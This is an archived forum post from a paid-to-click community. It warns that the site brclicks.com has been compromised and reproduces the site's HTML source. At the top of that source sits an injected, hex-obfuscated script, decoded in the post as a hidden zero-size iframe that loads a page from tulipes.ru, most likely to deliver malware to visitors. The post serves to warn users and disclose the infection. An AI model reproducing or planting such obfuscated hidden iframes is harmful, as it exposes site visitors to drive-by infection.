URL: hxxp://www.brclicks.com/index.php?ref=xxxx
Pay-ads also found
<script>document.write("\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\
x74\x74\x70\x3A\x2F\x2F\x74\x75\x6C\x69\x70\x65\x73\x2E\x72\x75\x2F\x69\x6D\x61\
x67\x65\x73\x2F\x22\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\
x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x20\x77\x69\x64\
x74\x68\x3D\x30\x20\x68\x65\x69\x67\x68\x74\x3D\x30\x3E\x3C\x2F\x69\x66\x72\x61\
x6D\x65\x3E");</script>
<html>
<head>
<title>BR Clicks : Welcome To BR Clicks!</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<META NAME="Keywords" CONTENT="advertise,earn,money,internet,free,market,hits,
links,banners,banner,link,impression,impressions">
<META NAME="Description" CONTENT="Need Some Extra Cash? Get Paid Up To 1 Cent Per
Click! Advertise An Recieve Unique Hits!">
<META NAME="Copyright" CONTENT="Copyright © 2003 brclicks.com. All rights reserved">
<META NAME="Distribution" CONTENT="Global">
<META NAME="Rating" CONTENT="General">
<META NAME="Robots" CONTENT="All">
<META NAME="Revisit-After" CONTENT="7 Days">
<LINK REL=StyleSheet HREF="templates/brclicks/layout.css" TYPE="text/css">
<link rel="stylesheet" type="text/css" href="includes/ajax/components.css">
<script language="javascript" src="functions.js"></script>
</head>
<body>
<table width="100%" border="0" cellpadding="0" cellspacing="0">
<tr>
<td><center><img src="templates/brclicks/images/logo.jpg" width="470" height="100"
border="0"></center>
<td align="center" width="500"><a href="bannerclick.php?id=100" target="_blank">
<img src="hxxp://triplebux.com/code.gif" border=0" width="468" height="60"></a></td>
</td>
</tr>
</table>
<center>
</center>
<div class=popup id="pbalance" onclick='event.cancelBubble = true;'>
<div align="center"><b style="color: darkblue">Quick Help</b><br>
<textarea cols=25 rows=5 style="border: none" id="helpbox">
</textarea><br><a class=closeLink href='#' onclick='hideCurrentPopup();
return false;'>Close Dialog</a></div></div>
<div align="center">
<table width="100%" border=0>
<tr>
<td colspan=5 height=35 align="center" class="adminmenu">
<table cellpadding=0 cellspacing=0 width="100%">
<tr>
<td>
<table cellpadding=0 cellspacing=1 width="100%">
<tr>
<td valign="top" align="center" class="menu">
<a href="index.php?view=home&ref=zj4197&" title="Welcome Page">
Home</a>
<a href="index.php?view=news&ref=zj4197&" title="Welcome Page">
News</a> <a href="index.php?view=prices&ref=zj4197&" title="Prices For
Advertising Space">Purchase</a>
<a href="index.php?view=join&ref=zj4197&" title=
"Join For Free!">Join</a> <a href="index.php?view=help&ref=zj4197&" title="FAQ's To Help You Use Our Site">Help</a>
<a href="index.php?view=terms&ref=zj4197&" title=
"Terms For Our Site">Terms</a>
<a href="index.php?view=contact&ref=zj4197&" title="
Contact Us With Any Comments/Suggestions">Contact</a>
<a href="hxxp://www.brclicks.com/forum" title=
"Contact Us With Any Comments/Suggestions" target="_blank">Forum</a>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width="190" valign="top">
<table cellpadding=0 cellspacing=0 class="contentareaborder" width="180">
<tr>
<td>
<table cellpadding=0 cellspacing=1 width="100%">
<tr>
<td valign="top" align="center" class="titlebar"><b>Log In</b></td>
</tr>
<tr>
<td bgcolor="white" valign="top">
<table cellpadding=2 width="100%" height="100%" class="contentarea">
<tr>
<td valign="top"><div align="center"><input type="button"
value="Click Here To Log In" onclick="location.href='index.php?
view=login&ref=zj4197&'"><br></div></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
<table cellpadding=0 cellspacing=0 class="contentareaborder" width="180">
<tr>
<td>
<table cellpadding=0 cellspacing=1 width="100%">
<tr>
<td valign="top" align="center" class="titlebar"><b>Featured Links</b></td>
</tr>
<tr>
<td bgcolor="white" valign="top">
<table cellpadding=2 width="100%" height="100%" class="contentarea">
<tr>
<td valign="top"><div style="background-color: Pink"><a href="
flinkclick.php?id=4" target="_blank"><marquee>Bux.to -
The Best Ptc</marquee></a></div><hr><div><a href="flinkclick.php?id=2"
target="_blank"><marquee>Brclicks - Good Prices</marquee></a></div><hr>
<marquee><b><a href=""></a></b></marquee></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
<table cellpadding=0 cellspacing=0 class="contentareaborder" width="180">
<tr>
<td>
<table cellpadding=0 cellspacing=1 width="100%">
<tr>
<td valign="top" align="center" class="titlebar"><b>Featured Ad</b></td>
</tr>
<tr>
<td bgcolor="white" valign="top">
<table cellpadding=2 width="100%" height="100%" class="contentarea">
<tr>
<td valign="top"><div style="height: 75; overflow: auto;">
<b><a href="fadclick.php?id=" target="_blank"></a></b><br></div></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
<table cellpadding=0 cellspacing=0 class="contentareaborder" width="180">
<tr>
<td>
<table cellpadding=0 cellspacing=1 width="100%">
<tr>
<td valign="top" align="center" class="titlebar"><b>Daily Top 20</b></td>
</tr>
<tr>
<td bgcolor="white" valign="top">
<table cellpadding=2 width="100%" height="100%" class="contentarea">
<tr>
<td valign="top">1. longfeng (9)<br>2. zj4197 (9)<br>3. xuyingfei (9)
<br>4. guangyu163 (9)<br>5. ttxz (9)<br>6. lz16868 (9)<br>7. wildworld (9)
<br>8. sgjames (9)<br>9. 2005021 (9)<br>10. yiying315 (9)<br>11. vivydai
(9)<br>12. huahuish (9)<br>13. thinar (9)<br>14. wwwwjimmy (9)<br>15. txy12
(9)<br>16. llyy007 (9)<br>17. jiangyun (9)<br>18. ykingkong (9)<br>19. gao123
(9)<br>20. yah5554 (9)<br></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
<br>
</td>
<td width=20></td>
<td width="100%" valign="top" align="center">
<table cellpadding=0 cellspacing=0 class="contentareaborder" width="100%">
<tr>
<td>
<table cellpadding=0 cellspacing=1 width="100%">
<tr>
<td valign="top" align="center" class="titlebar"><b>Welcome To BR Clicks!</b></td>
</tr>
<tr>
<td bgcolor="white" valign="top">
<table cellpadding=2 width="100%" height="100%" class="contentarea">
<tr>
<td valign="top">
<div align="center">
<div style="text-align: center;">
<br>
Advertise here, very good prices
<br>
<table class="advspecial" border=1 align="center">
<tr>
<td val ign="top">
<div align="center"><font class="advspecialheader">BrClicks - Many Credits</font></div>
<li>15 Referrals
(<small><b>$6.75 Value</b></small>)<li>100 Email Credits
(<small><b>$2 Value</b></small>)<li>100 PTR Credits
(<small><b>$0.13 Value</b></small>)<li>3000 Link Credits
(<small><b>$0.9 Value</b></small>)<li>6000 X-Credits
(<small><b>$6 Value</b></small>)<li>10000 Banner Credits
(<small><b>$4 Value</b></small>)
<div align="center"><b><a href="index.php?view=account&ac=buywizard&step=
2&samount=1&ptype=special&id=
3&ref=zj4197&" class="advspeciallink">Click Here To Buy Now For $3.25!</a></b>
</div>
</td>
</tr>
</table>
<br>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
<div align="center">
<small class="copyright">
Copyright © 2007 BR Clicks. All rights reserved<br>
Design by <a href="hxxp://www.jamilservicos.com/forum/"
target="_New">Jamil Serviços Ltda.</a><br>
<br>
<br>
<script type="text/javascript">
</script>
<script type="text/javascript"
src="hxxp://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
<br>
<br>
<a href="hxxp://www.kyksy.com">Kyksy - PTP - Payé pour diffuser</a><br>
<br>
<a href="hxxp://www.paid-to-promote.net/member/signup.php?r=ganon" target="_blank">
<img src="hxxp://www.paid-to-promote.net/images/ptp.gif" alt="Get paid
To Promote at any Location" width="486" height="76" border="0" longdesc="
hxxp://www.paid-to-promote.net/" /></a><br>
<br>
<script>ads_id="aganon";b=window.document;b.write('
<iframe src="hxxp://www.pay-ads.com/ads.php?usr='+ads_id+'"
width=480"'+'" height=60"'+'" frameborder="0" scrolling="no">Your browser does not
support IFRAME</iframe>');</script>
<br>
</div>
</td>
<form name="pollvote" action="pollvote.php?
action=vote&ref=zj4197&" method="post">
<table cellpadding=0 cellspacing=0 class="contentareaborder" width="180">
<tr>
<td>
<table cellpadding=0 cellspacing=1 width="100%">
<tr>
<td valign="top" align="center" class="titlebar"><b>Poll</b></td>
</tr>
<tr>
<td bgcolor="white" valign="top">
<table cellpadding=2 width="100%" height="100%" class="contentarea">
<tr>
<td valign="top">
<b>Today you see the news on forum ?</b><br>
<small>
<input type="radio" name="pollres" value="1" onclick="document.pollvote.sub.
disabled=false">Yes<br>
<input type="radio" name="pollres" value="2" onclick="document.pollvote.sub.
disabled=false">No<br>
</small>
<div align="center"><input type="submit" value="Vote!" name="sub" disabled="true">
</div>
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</form>
<table cellpadding=0 cellspacing=0 class="contentareaborder" width="180">
<tr>
<td>
<table cellpadding=0 cellspacing=1 width="100%">
<tr>
<td valign="top" align="center" class="titlebar"><b>Site Stats</b></td>
</tr>
<tr>
<td bgcolor="white" valign="top">
<table cellpadding=2 width="100%" height="100%" class="contentarea">
<tr>
<td valign="top">
<table class="statsTable">
<tr>
<td>3,747<br>Members</td>
<td>11<br>New Today</td>
</tr>
<tr>
<td>46,780<br>Hits Today</td>
<td>4<br>Online</td>
</tr>
<tr>
<td colspan="2">Paid Out: $ 317.09</td>
</tr>
</table></td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</div>
</body>
</html>
Full Version: BRclicks AV Warning Exploit Web Attacker
Get Paid Forum - Get Paid Discussion > Get Paid To Programs > Sites Allegedly with problems of hacking/virus/0-iframes, autosearches etc ... > Nasties, trojans, 0iframes and downloads when surfing : Info and discussions
CODE
<script>document.write("\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\
x74\x74\x70\x3A\x2F\x2F\x74\x75\x6C\x69\x70\x65\x73\x2E\x72\x75\x2F\x69\x6D\x61\
x67\x65\x73\x2F\x22\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\
x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x20\x77\x69\x64\
x74\x68\x3D\x30\x20\x68\x65\x69\x67\x68\x74\x3D\x30\x3E\x3C\x2F\x69\x66\x72\x61\
x6D\x65\x3E");</script>
x74\x74\x70\x3A\x2F\x2F\x74\x75\x6C\x69\x70\x65\x73\x2E\x72\x75\x2F\x69\x6D\x61\
x67\x65\x73\x2F\x22\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\
x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x20\x77\x69\x64\
x74\x68\x3D\x30\x20\x68\x65\x69\x67\x68\x74\x3D\x30\x3E\x3C\x2F\x69\x66\x72\x61\
x6D\x65\x3E");</script>
Decodes to:
CODE
<iframe src="http://tulipes.ru/images/" scrolling="no" frameborder="0" width=0 height=0></iframe>
This is more hacker activity placing viruses on sites
Visiting the site to try to find a contact link, there's also an html banner for kyksy.com which is a horrible 0 iframe autosearching site. I don't think this site is being very careful to check links on there... I'd be very wary if I was a member here.
Contact form sent to the site.
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.